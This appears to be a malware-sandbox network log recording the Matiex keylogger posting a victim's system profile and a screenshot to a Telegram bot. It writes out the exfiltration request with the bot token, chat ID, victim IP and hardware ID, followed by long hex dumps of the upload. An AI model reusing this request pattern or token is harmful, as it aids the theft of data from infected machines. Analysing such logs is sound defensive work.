2021-09-13 04:32:13 UTC	6554	OUT	POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20Screenshot%20Logger%20%5C%0D%0A%20%0D%0A%0D%0A%7C%20System%20Information%20%7C%20%0D%0A%0D%0AComputer%20Name:%20562258%0D%0AMachine%20Name:%20Microsoft%20Windows%2010%20Pro%0D%0AMachine%20PlatForm:%20Win32NT%0D%0AComputer%20IP:%2084.17.52.51%0D%0A%0D%0ACountry%20Name:%20Switzerland%0D%0ACountry%20Code:%20CH%0D%0ATime%20Zone:%20Europe/Zurich%0D%0AFull%20Location:%20https://www.geodatatool.com/en/?ip=84.17.52.51%0D%0A%0D%0ADate%20and%20Time:%209/13/2021%20%20%20/%20%20%20%206:31:48%20AM%0D%0ATotal%20Hard%20Disk%20Space:%20224%20GB%0D%0ARam%20Space:%208.00%20GB%0D%0AHardware%20ID:%205C14-3120-C5E4-7FCF-C4B6-12B5-8EC5-2C8F HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d9768038e62651 Host: api.telegram.org Content-Length: 828602
2021-09-13 04:32:13 UTC	6555	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 37 36 38 30 33 38 65 36 32 36 35 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 3a 5c 55 73 65 72 73 5c 61 6c 66 6f 6e 73 5c 44 6f 63 75 6d 65 6e 74 73 5c 4d 61 74 69 65 78 20 4b 65 79 6c 6f 67 67 65 72 5c 53 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 04 00 08 06 00 00 00 be 93 f4 43 00 00 00 01 73 52 47 42 00 ae ce Data Ascii: --------------------------8d9768038e62651Content-Disposition: form-data; name="document"; filename="C:\Users\user\Documents\Matiex Keylogger\Screenshot.png"Content-Type: application/x-ms-dos-executablePNGIHDRCsRGB
2021-09-13 04:32:13 UTC	6571	OUT	Data Raw: 3e 01 b0 15 d2 52 e8 f9 68 41 8e 8e 24 48 0f ec a0 3c 29 64 3e 08 af 8b 28 bc a5 63 fd 75 d1 f5 74 5f 5f bb a5 48 fb 7d 40 36 19 17 0f fa 5c 12 f5 6b 07 c8 c6 34 89 f6 cf 6a 70 bf 95 83 6c d6 80 6c c6 a0 b1 1b 03 6d 57 92 9b f7 bc 2e 90 30 07 2f c2 09 a2 4b b9 bc dc 97 c2 62 44 29 d2 2f 1b 48 4a c8 e3 f0 a1 04 42 4c 29 81 4f 85 7c 2e 09 89 40 02 21 fc 11 24 30 cd b5 00 38 14 aa 2b 10 f6 4a d1 ed 9e 3a 5d 02 a0 46 88 7e 10 9e 07 d2 67 af 11 00 69 1d c8 b5 25 c9 c5 31 68 3d d7 a0 f7 8f 4a d0 de 56 03 b2 19 42 69 04 60 0f 2e 21 2a 17 a4 99 06 ba dc b1 41 65 ce 16 74 26 97 83 7c 12 09 f2 91 46 45 de 0d e7 08 2f 10 c1 3b c7 0a 81 ee 7f 5d 20 3b 35 20 9b 43 40 65 0c 40 8a 79 7d 40 63 bf c1 33 6d 01 f0 6f f7 79 07 14 00 1d fc e3 1f c7 7d cd 89 7e 2c 04 d2 f7 01 Data Ascii: >RhA$H<)d>(cut__H}@6\k4jpllmW.0/KbD)/HJBL)O\|.@!$08+J:]F~gi%1h=JVBi`.!*Aet&\|FE/;] ;5 C@e@y}@c3moy}~,
2021-09-13 04:32:13 UTC	6587	OUT	Data Raw: 41 f5 a8 80 2e 21 28 bc 14 79 b0 20 60 9d ab d8 33 84 36 f0 00 d0 67 12 b6 23 85 07 49 50 56 02 60 cf b7 8d fb 01 f4 e3 d0 be 9d 06 b5 75 72 97 d4 5c 1e ee a3 04 70 2e c8 fe 54 fd 5a 8b b4 8f 08 d2 cb f2 da 2f 31 46 0e c2 50 42 07 23 44 a7 dd 18 04 c0 68 0e c9 f5 27 f2 20 90 9d 1c c8 46 0e d4 27 35 20 9b 12 54 c7 00 71 19 40 a0 a7 c0 82 4b 00 12 3d 6a 90 b6 10 a0 4d 43 91 ed 47 f1 1b 02 b2 8d 59 d4 d8 d6 82 45 a9 01 20 d1 4f 82 f2 0c 00 b5 a9 06 64 73 b6 24 44 85 85 00 38 0e 9d f5 da b0 05 40 02 09 7f 4c af fa 23 01 90 d9 90 04 40 42 09 76 30 4d 29 da 96 05 ed 49 35 c0 33 d7 d2 15 cf 20 9f 44 32 9a 00 98 08 97 a2 9f 64 5e 05 c0 b8 8c 46 e0 eb 42 8a 24 08 28 6e 94 80 44 a5 05 ab 07 34 a6 33 04 cd c5 1c 5d 36 74 b8 7c 3f 15 fc 06 33 16 7a 93 a2 45 ce 02 e0 Data Ascii: A.!(y `36g#IPV`ur\p.TZ/1FPB#Dh' F'5 Tq@K=jMCGYE Ods$D8@L#@Bv0M)I53 D2d^FB$(nD43]6t\|?3zE
2021-09-13 04:32:13 UTC	6603	OUT	Data Raw: 91 09 0e 53 44 e1 61 c0 76 b2 b6 72 20 47 63 28 d2 19 ca 39 37 3a 5d 4b 8d 00 18 39 69 42 04 84 17 7c 72 3c 85 83 bb c9 6e cf f6 c8 4b 34 c3 f9 50 1c 11 d8 16 ce ab 83 ca 17 4e ea c4 89 b4 4e e3 0e b6 ee c4 f6 1d ec 60 d3 b7 2c ed f8 8c 4e a2 fe 90 50 d9 6c cb da 9e 08 80 60 6c 22 ec fc 82 a0 b4 19 b4 03 8b d2 74 11 cc 17 76 c2 17 44 e2 1f 81 d2 09 16 02 e0 64 fd ca 35 4c 7f eb f5 9d 23 58 f7 02 94 76 4c fc 65 5a ec 69 1e 0e e7 34 30 6d 2b c4 cd 50 fc 63 5c bc 16 26 0a 08 44 0e 25 68 79 80 58 e2 40 69 11 28 ef 4a 32 56 fd b4 9d 81 c8 b1 e8 03 b2 19 30 ed 36 80 f9 25 41 75 1e 93 7a e1 ef 2f 02 36 79 c8 9f 07 22 20 12 02 35 41 1b d5 5a ad 47 ee 25 00 bd f7 28 fc 3e 56 b9 6f fa b4 60 4f af c1 9f 53 ea 1c cb d2 25 00 12 c8 6f 41 d4 e4 43 7e 13 f2 e9 67 01 dd Data Ascii: SDavr Gc(97:]K9iB\|r<nK4PNN`,NPl`l"tvDd5L#XvLeZi40m+Pc\&D%hyX@i(J2V06%Auz/6y" 5AZG%(>Vo`OS%oAC~g
2021-09-13 04:32:13 UTC	6619	OUT	Data Raw: 16 c1 64 f7 7b 23 c0 36 9f f1 ac 67 87 f2 76 05 cc 66 65 87 d7 95 de 04 48 d9 2c f9 c6 b0 7f b8 59 a4 bf fb e6 75 e8 5c 10 37 17 63 eb 61 5e 3a db 49 d4 e6 7b 34 5d 0d b6 8e c5 a7 f7 37 ac e2 06 49 68 e5 0c a7 73 c3 35 37 f2 be 74 76 59 1f 56 e6 cd 03 0b f4 2c 4c e2 14 54 82 4e a5 1d b9 95 f0 41 af 0f 9a 3b dc 4b a8 49 40 1b a4 eb ff e6 03 fd 38 08 43 d3 88 58 48 b2 4f e5 9f 1d 05 98 47 02 7a 54 06 de b6 94 91 5a 3e 2d 33 58 3d 38 cc eb 91 83 e5 48 c1 32 40 97 fa 47 10 6b 8f 99 6b 23 35 f1 a7 e4 40 57 f2 89 01 b2 1e db 3e c1 ab 69 5a ca 00 5c 61 eb f6 41 e5 1f 70 6d 28 b7 97 75 16 80 72 bc 98 98 db 28 b2 c8 eb a7 2e 01 db f6 3f 17 7a 1e 74 40 e7 b8 cb 2e 01 18 11 f9 17 b0 32 ad 03 13 72 1e 27 54 46 e3 c5 0c 83 ad d7 a1 5b ee 28 ff 9c 80 5a 12 71 34 5f 64 Data Ascii: d{#6gvfeH,Yu\7ca^:I{4]7Ihs57tvYV,LTNA;KI@8CXHOGzTZ>-3X=8H2@Gkk#5@W>iZ\aApm(ur(.?zt@.2r'TF[(Zq4_d
2021-09-13 04:32:13 UTC	6635	OUT	Data Raw: 45 1f 57 b6 7f 0f 92 f2 ef 08 c0 84 7c 71 98 70 50 88 49 0b 58 2c db b2 6c 01 c8 1e db 15 7a 84 9a 15 6e ec f1 e7 d9 81 e1 d8 28 07 20 8f f8 37 4f db cd 7f 12 56 a6 02 96 66 5d 04 60 62 76 4b 74 ee 13 90 2c 7d d8 b4 35 54 b0 f5 01 51 97 21 9d 4a 82 ed 34 53 16 15 80 0e cd 37 cf f3 eb 27 ba db dd 60 a4 0e 5d 3d 7a 99 22 54 3a e4 36 8d cd a3 0f bb 0e cb d3 62 97 33 58 fe 16 73 4c 18 45 1b 98 03 ba cd 0d 85 d4 d9 14 58 9d 26 fc 97 93 58 1a a5 b6 7c cc ba 0b a1 f5 50 b4 a9 40 51 47 8b c3 8e fd 18 58 9b 03 43 cb 47 43 ca ba 53 21 c7 90 b4 4b 50 1c 67 b2 3c b0 4b 00 d6 e8 11 80 02 82 b2 32 30 5c 17 44 f2 f5 a1 01 f0 e6 14 80 79 24 60 c2 77 10 b4 23 02 01 a8 7f cb 32 ed b8 38 51 d4 01 92 0d 92 05 53 ed 40 15 02 c5 74 bc 00 04 a0 41 45 c4 ea 71 0f 1b 64 0d 5f ce Data Ascii: EW\|qpPIX,lzn( 7OVf]`bvKt,}5TQ!J4S7'`]=z"T:6b3XsLEX&X\|P@QGXCGCS!KPg<K20\Dy$`w#28QS@tAEqd_
2021-09-13 04:32:13 UTC	6651	OUT	Data Raw: c7 74 8f ed 7a 0b c0 d5 2d a1 ac b6 b3 4f b0 62 80 31 35 3d 68 bf f0 bb e3 05 a0 95 79 96 95 d3 9e 20 b0 65 16 2f 79 ea 44 e1 17 47 8c b5 b4 e2 68 3a 56 fc 65 11 e5 84 55 47 86 a1 8d 1b 99 66 e5 5f 3e a7 cc 79 36 84 95 71 73 11 b6 37 17 69 fd 58 8e 72 1f 3d be 4e 94 be 65 55 0a 01 18 ae 55 b6 ee e5 b8 44 01 48 47 03 82 d4 a6 b4 3d da 0f 27 31 34 5d 0d db 96 0b 9c 00 5c 0b e7 82 97 80 91 f6 5c f4 e7 a9 3f b7 8b fb 81 42 ef 1d f1 7a 83 7b 4b bc 4e c5 fb 8d bd 0e 66 09 98 ae 77 05 7d 02 10 98 7b 2f ee e1 3b bb 00 ec 95 80 4e f6 55 49 f1 d5 54 01 68 05 1f 63 15 b1 20 e2 3c 37 bf cd 83 8b b4 b1 e4 38 94 2c db 10 24 66 6e cb 51 08 c0 2c ff b8 00 94 fe 49 db 69 6c 3b 59 b6 b3 9c 3b cd 3a d2 2d a1 e2 ab db 21 73 90 4e 9b ca bf 65 08 40 db 99 9b 07 96 67 2f e9 91 Data Ascii: tz-Ob15=hy e/yDGh:VeUGf_>y6qs7iXr=NeUUDHG='14]\\?Bz{KNfw}{/;NUIThc <78,$fnQ,Iil;Y;:-!sNe@g/
2021-09-13 04:32:13 UTC	6667	OUT	Data Raw: d3 9e 16 38 fd c9 11 fc ad d8 4e 66 0f 51 20 99 0e 2a e9 c0 82 8e 08 4c e8 48 b2 1a a5 3c 22 a8 28 aa c8 a2 fc 28 6d 92 81 fa 88 b0 8a 23 2b 03 95 3c 6a 0c ef 7b bb 47 1c 11 98 c1 63 c2 f7 8a 8f 0a 8b 90 81 94 b8 f7 ab 64 44 9f 8c ee fb 95 d7 47 92 e4 9b dd ef 0d cd ca af bc a9 c3 ea af bc b5 60 e5 7e 6f 29 97 ab 20 bc ef 6b 5b 41 a2 02 08 12 09 a3 04 ef fe f2 28 b2 30 e2 0d 02 0c 92 53 1e 1b 7e 5e 13 df 23 18 d0 ba 3c 3d d4 75 60 ed b4 40 38 66 bb 9d fe cc 66 37 88 be 24 01 57 c3 df 16 99 7f c6 d3 9a b5 b0 ee da 59 4f 97 e9 ea 99 17 74 90 f9 67 59 dc 63 c0 67 3e c7 f1 3c 99 e6 0f a0 e0 18 f6 e1 8e ab ca bf d5 3b 5f 18 8e 23 48 72 d7 3e ea 6d 8e a5 17 7e 75 d9 5b c1 c8 a4 31 e8 a3 e4 59 50 61 54 a7 fc 8d 51 70 ed 34 4a b8 ae e0 9b 9f 28 c7 14 15 67 2d ad Data Ascii: 8NfQ *LH<"((m#+<j{GcdDG`~o) k[A(0S~^#<=u`@8ff7$WYOtgYcg><;_#Hr>m~u[1YPaTQp4J(g-
2021-09-13 04:32:13 UTC	6683	OUT	Data Raw: 9f 23 f5 f7 a3 3c 8c cd 8e b5 49 32 ce 7d 14 83 e6 9a 7b f9 bf 1c a5 58 e7 59 6c 5e e8 b7 ad 16 ca 32 a3 a4 2c 2f 7a 6b ec 99 e1 e5 e3 51 68 bb bf 94 4c fc 79 d8 fc 3c 15 28 ee 83 f1 d3 cc eb ee fd 31 08 93 bf 5d b8 12 54 c0 4d 73 15 a7 d2 66 f0 2a 7a a3 90 c9 3e a1 bb f1 51 a9 c2 99 2a 9e a5 f0 73 2b ab 0e a5 f0 13 b4 49 cc b0 68 c5 b9 d1 c4 d7 c8 bb f1 c0 92 cf 99 df 99 49 15 f7 52 d6 15 94 d2 cf c3 93 7e d9 72 91 7e 2a fe d2 8b 05 04 e0 08 12 b0 41 1f f9 37 a9 02 70 7b 7a 71 72 69 ca 3e 6d 8a 65 69 08 3d 87 14 c1 61 a8 76 42 73 5e 7a c1 4b 7d 40 35 25 1d 93 e4 df 55 35 49 fe 11 56 de 0d 81 36 f1 4d 4d 7d 31 9f 85 5f 2d fe b2 a6 be 2c f9 2c 22 f6 06 91 c4 5f a4 14 7f 00 9d e8 bb 82 cf 82 be b5 ca 79 23 08 40 ed c3 8b fb f1 72 04 60 ec ab ee 35 19 fc b2 Data Ascii: #<I2}{XYl^2,/zkQhLy<(1]TMsfz>Qs+IhIR~r~*A7p{zqri>mei=avBs^zK}@5%U5IV6MM}1_-,,"_y#@r`5
2021-09-13 04:32:13 UTC	6699	OUT	Data Raw: 41 42 a8 ee 80 fa 47 d6 5f 31 24 a0 ad f3 80 f9 74 5d 4d fd 48 eb ef 10 80 2c 01 cd bb 02 f0 ea 89 ca a0 e5 93 48 b3 0e 5b d4 77 cd 7b 80 d6 8d a3 00 c4 48 ad 90 15 3c 6a eb 2e a1 b3 0a 3e 3b e9 8b b7 8a cd 80 ff e1 65 a1 f3 8c 17 f5 07 51 7e 0a 04 d4 d3 ff 29 f2 cc 97 86 ce b3 57 a3 9b 98 b6 03 f0 19 72 0a 32 0c 51 69 0a a6 15 9d 87 66 ad 88 a0 43 8a 01 42 f0 3b 2c 0d 69 fb d8 27 e5 1f 57 97 65 22 bf 74 9e 82 69 6c e3 85 9b 8f 4f 00 a2 d9 30 a2 00 b1 2f e5 3e 73 13 52 fc 3d 1a 16 6d 2f c7 a5 c7 20 fb 8f 88 39 66 a5 19 a1 fb 9c d5 63 24 9f 03 f7 83 27 23 e1 76 11 f1 27 f0 34 d6 a1 6d 54 2f de 22 74 5f b8 71 da 56 b6 3f 8a 3d 6f 76 7e b6 bf 22 d7 70 bd 44 f8 31 7a 6d 14 08 4b bd a6 34 cd bf ab c7 83 fd 18 8f 00 44 73 59 44 01 3e 7f 83 d0 79 ce 1a 11 3d 76 Data Ascii: ABG_1$t]MH,H[w{H<j.>;eQ~)Wr2QifCB;,i'We"tilO0/>sR=m/ 9fc$'#v'4mT/"t_qV?=ov~"pD1zmK4DsYD>y=v
2021-09-13 04:32:13 UTC	6715	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:13 UTC	6731	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:13 UTC	6747	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:13 UTC	6763	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:13 UTC	6779	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:13 UTC	6795	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:13 UTC	6811	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:13 UTC	6827	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:13 UTC	6843	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
